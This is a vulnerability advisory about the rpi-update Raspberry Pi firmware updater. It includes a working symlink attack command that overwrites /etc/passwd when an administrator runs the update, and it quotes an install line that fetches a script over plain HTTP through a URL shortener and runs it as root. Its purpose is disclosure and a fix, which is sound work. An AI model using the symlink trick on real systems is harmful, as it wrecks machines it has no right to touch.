rpi-update tmpfile vulnerability

[Technion <technion@xxxxxxxxxxx>]

Raspberry Pi Firmware Updater Vulnerability

Application:
https://github.com/Hexxeh/rpi-update/

Version Tested:
Github source as of 10ad1e975a (10th Feb commit)

Vulnerability #1:
A malicious user can clobber any file due to insecure tmp file handling. 

Example:

Any unprivileged user can create the following symlink, either from 
a shell account, or by malicious web content such as PHP scripts.
pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh

Once in place, the symlink is awaiting the administrator to run an update:
 pi@raspberrypi ~ $ sudo rpi-update
 ...
 pi@raspberrypi ~ $ cat /etc/passwd
 #!/bin/bash
 if mv "./testfile.sh.tmp" "./testfile.sh"; then
 rm -- "$0"
 exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""
 else
 echo " !!! Failed!"
 fi

As of this point, the pi is quite unusable due to the corrupted password 
database.
Note that the attacker cannot customise the content, for example, to set
a UID0 account.

Vulnerability #2:
The installation recommends the following command:
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x 
/usr/bin/rpi-update

Although the selfupdate functionality utilises SSL to ensure the integrity of 
the download, the installation process uses a URL shortening service without 
SSL to download the bash script, which the user is then encouraged to run as 
the root user.

Fix and Vendor Response
A pull request detailing exploit #1 and including a simple patch was submitted 
February 6th. The patch has not yet been accepted.

Workaround
By running rpi-update with the self update feature disabled, the affected code 
is not executed. Example:
sudo UPDATE_SELF=0 rpi-update

If you would like to update the application manually, or perform an initial 
installation safely, use the following commands:
wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update
sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update

Note that applying the patch in my pull request will not be a complete 
solution, as it will be reverted after the first automatic update.

technion@xxxxxxxxxxx